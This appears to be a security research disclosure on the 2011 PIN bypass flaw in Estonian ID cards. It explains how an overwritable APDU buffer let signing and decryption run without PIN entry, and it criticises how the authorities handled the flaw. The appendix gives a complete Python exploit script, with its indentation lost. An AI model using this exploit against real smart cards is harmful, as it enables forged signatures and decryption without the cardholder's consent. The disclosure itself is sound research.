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1 Introduction

On 2021-08-16, we approached the Estonian Information System Authority
(Riigi Infosüsteemi Amet – RIA) asking for internal documents about the
security flaw in the Estonian ID cards issued in 20111. On 2021-08-25, RIA
shared with us 4 documents [2] classified as information intended for internal
use. Two of the documents discuss the padding oracle attack in the decryption
functionality of the ID card (Section 6.3 in [1]), one document discusses
quality issues of the EstEID v3.0 JavaCard applet, and the last document
(dated 2011-12-14 and authored by the Finnish security testers Toni Koivunen
and Sauli Pahlman) reports a “bypassing signing and decryption PIN code
validation” weakness found by analyzing the source code of the EstEID v3.0
JavaCard applet. On 2011-12-20, all 4 documents had been classified for internal
use until 2016-12-20, and on 2016-12-21 the classification was extended for 5
more years until 2021-12-21. The grounds for classification of information as
internal refer to clauses 35(1)(9) and 35(1)(10) of the Public Information Act.

In the section below we describe the PIN code bypass flaw reported by the
Finnish security testers and provide some additional insights.

2 Description of the flaw

Location of the flaw. The PIN code bypass flaw resides in the EstEID
JavaCard applet’s code that checks whether a command has been sent
over a secure messaging channel using the passphrase authentication feature.
The passphrase authentication feature (Section 6.1.1 in [1]) is intended to
allow execution of cryptographic operations over a secure messaging channel
established using 3DES keys derived from a password entered by a user, without
requiring PIN entry from the user. The vulnerable EstEID applet, however, fails
to correctly verify whether the command is sent over a secure channel and hence
opens the card to a PIN code bypass flaw.

1The analysis of the incident based on publicly available information is provided in Sec-
tion 6.4 of [1].
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Exploitation of the flaw. The exploitation of the flaw is trivial (see
Appendix). To exploit the flaw, the final command APDU (Application
Protocol Data Unit) that performs a cryptographic operation has to be
zero-padded to 390 bytes with the last 3 bytes set to 0x040002 or 0x050002

for PIN1 and PIN2 operations, respectively. The command has to be sent to
the card using the T=1 transmission protocol. When receiving such a command,
the cryptographic operation will be completed successfully even if the PIN code
verification command VERIFY has not been received from the terminal. While
the exploitation of the flaw is trivial, discovering such a flaw through black box
security testing of the applet (e.g., fuzz testing) is infeasible, as that would
involve a brute-force search using different values of the long APDU padding.

Cause of the flaw. The PIN code bypass using the aforementioned command
is possible because: (1) the vulnerable applet stores the status of whether the
secure messaging channel was used to send a command at the end of JavaCard
APDU buffer, and (2) it is possible to fully overwrite the APDU buffer by
sending a long APDU command over the T=1 transmission protocol.

Since the amount of RAM available on smart card platforms is very limited
(a few kilobytes at the maximum), it is a common development practice to use
the APDU buffer for temporary data storage, as the APDU buffer in JavaCard
is a global array stored in RAM [3]. The JavaCard platform used on the affected
ID cards2 has an APDU buffer that is 390 bytes long. Since the command APDU
by its structure is limited to 261 bytes (5-byte APDU header + 255 bytes of
APDU data + Le byte), it is expected that the remaining space of the APDU
buffer can be safely used for other purposes.

However, contrary to this expectation, in practice a complete overwrite and
hence a full control of the APDU buffer is possible by sending a single APDU
command over the T=1 transmission protocol3. This is due to undocumented
behavior of the JavaCard runtime environment. Namely, the fact that in the
case of T=1, the setIncomingAndReceive() [3] method will read all bytes
sent by the terminal into the APDU buffer regardless of the value specified
in the length contained Lc field (5th byte of the APDU header). We note
that there is no trivial way for an applet to obtain the number of bytes
that were written in the APDU buffer, as the setIncomingAndReceive() and
getIncomingLength() methods will return the value of Lc (at the maximum)
and not the number of bytes actually written. To conclude, the data stored
in the APDU buffer can be trusted only if the execution flow of the applet
guarantees that the data in the APDU buffer was written by the applet itself
after the setIncomingAndReceive() method was called. This, unfortunately,
was not guaranteed by the applet in this case.

Impact of the flaw. The Finnish security testers in their report describe
two PIN code validation bypass scenarios: (1) signing of an on-card calculated
SHA-1 hash value using the digital signature key (Section 4.1.2 in [1]), and (2)
decryption of an RSA ciphertext using the authentication key.

2The jTOP SLE66 platform (see Section 3.3 in [1]).
3The protocol T=0 cannot be used to fully overwrite the APDU buffer as there the length

of a command APDU is limited to 260 bytes by the transmission protocol.
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We note, however, that the PIN code validation can be bypassed for
any cryptographic operation that can be authenticated using the passphrase
authentication feature. That is, signing of raw values with the digital signature
and authentication key, and decryption of RSA ciphertexts with the digital
signature and authentication key. Also, the exploit works even if the PIN and
PUK codes on the card are blocked.

We were able to exploit the flaw on an ID card with the date of issuance
of 2011-03-28, and we verified that the flaw cannot be exploited on an ID card
with the date of issuance of 2011-12-304.

Decision to hide the nature and the true impact of the flaw. In our
initial analysis we considered the possibility that the involved parties did not
disclose the nature of the flaw (and even the fact that the flaw is serious) in order
to prevent the reverse-engineering of the flaw before the affected ID cards were
renewed. However, from the technical details of the flaw we see that the flaw
cannot be exploited without knowing the details from the applet’s source code.
Therefore, had the public been informed that the flaw allowed PIN bypass, the
likelihood of the flaw being exploited would not have increased.

Of course, public knowledge of the severity of the flaw would have forced the
involved parties to perform their legal obligation to revoke the certificates of the
120 000 affected ID cards as soon as they learned about the flaw. Instead, as the
details of how to exploit the flaw were available only to a limited circle of “good
guys”, it was decided that the risk of abuse was low and there was no need to
alarm the public. As a result, more than 78 000 cardholders from December
2011 to July 2013 (when the certificates were finally revoked) had an ID card
in their posession, which could be used at its full extent without knowledge of
the PIN codes.

Similarities to today’s situation. It is important to note that the current
situation might not be too different from 2011, as there still exists a group
of people who have the capability to use the ID card by bypassing the PIN
verification mechanism. This is due to the known PIN bypass feature that is
used to unblock and change forgotten PIN codes in PPA customer service points
(Section 2.11.4 in [1]). The feature is implemented using the so-called“police
key” that is held by the ID card manufacturer [5].

While the risk of the police key being abused is not conceptually different
from the abuse of the “APDU padding key” that was discovered in December
2011, the reason why the authorities are not obliged to act here, is simply
because they have chosen to not be aware of the risk. The handling of the risk
has been contractually transferred to the ID card manufacturer and hence the
knowledge of how the police key is actually stored and who has access to it is
not desirable.

We are afraid that the 2011 case has taught the authorities that it may be
better to not be aware of how the ID card manufacturer ensures the security of
the ID card, as the knowledge of how it is actually done may put an obligation
on the authorities to act.

4The certificates on the card in question were issued on 2012-01-07 and the document
number of the ID card starts with AA01 (according to the press release [4], the document
numbers of the affected cards start with AA00).
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Appendix: exploit esteid 2011.py

#!/ usr/bin/env python3

# sudo apt install python3 -m2crypto python3 -pyscard
import M2Crypto
from smartcard.CardType import AnyCardType
from smartcard.CardRequest import CardRequest
from smartcard.CardConnection import CardConnection

def esteid_read_cert(cert_type ):

if cert_type == 'auth':
EF = [0xAA , 0xCE]

elif cert_type == 'sign':
EF = [0xDD , 0xCE]

channel.transmit ([0x00 , 0xA4 , 0x00 , 0x0C]) # SELECT FILE (MF)
channel.transmit ([0x00 , 0xA4 , 0x01 , 0x0C , 0x02 , 0xEE , 0xEE]) # SELECT FILE (DF - EEEE)
channel.transmit ([0x00 , 0xA4 , 0x02 , 0x0C , 0x02] + EF) # SELECT FILE (EF - DDCE/AACE)

# read the first 10 bytes and calculate the length of the certificate
cert = bytes(channel.transmit ([0x00 , 0xB0 , 0x00 , 0x00 , 0x0A ])[0])
cert_len = (cert [2] << 8 | cert [3]) + 4

# reading the entire certificate
while True:

read_len = min(255, cert_len -len(cert))
if not read_len: break
cert+= bytes(channel.transmit ([0x00 , 0xB0 , len(cert) >> 8, len(cert) & 0xff , read_len ])[0])

return cert

def esteid_exploit_sign(pin):

data = b"Hello world!"

extra = [0x00]*(390-5-3-len(data))
if pin == 1:

extra+= [0x04 , 0x00 , 0x02]
# INTERNAL AUTHENTICATE
r = channel.transmit ([0x00 , 0x88 , 0x00 , 0x00 , len(data)] + list(data) + extra )[0]

elif pin == 2:
extra+= [0x05 , 0x00 , 0x02]
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# PSO COMPUTE DIGITAL SIGNATURE
r = channel.transmit ([0x00 , 0x2A , 0x9E , 0x9A , len(data)] + list(data) + extra )[0]

print("[+] Signature:", bytes(r).hex ())

def esteid_exploit_decrypt(pin):

extra = [0x00 ]*(390 -5 -3 -129)
if pin == 1:

extra+= [0x04 , 0x00 , 0x02]
KID = 0x11

elif pin == 2:
extra+= [0x05 , 0x00 , 0x02]
KID = 0x01

# encrypting data using the public key from the certificate
data = b"Hello world!"
cert = esteid_read_cert ({1:'auth', 2:'sign'}[pin])
rsa_key_pub = M2Crypto.X509.load_cert_der_string(cert). get_pubkey (). get_rsa ()
c = b"\x00" + rsa_key_pub.public_encrypt(data , M2Crypto.RSA.pkcs1_padding)

# sending ciphertext to the card for decryption
channel.transmit ([0x00 , 0x22 , 0x41 , 0xB8 , 0x05 , 0x83 , 0x03 , 0x80 , KID , 0x00]) # set KID
channel.transmit ([0x10 , 0x2A , 0x80 , 0x86 , 128] + list(c[:128]))
r = channel.transmit ([0x00 , 0x2A , 0x80 , 0x86 , 129] + list(c[128:]) + extra )[0]
print("[+] Decrypted plaintext:", bytes(r). decode ())

channel = CardRequest(timeout =100, cardType=AnyCardType ()). waitforcard (). connection
print("[+] Selected reader:", channel.getReader ())
channel.connect(CardConnection.T1_protocol)

esteid_exploit_sign(pin =2)
esteid_exploit_decrypt(pin =1)
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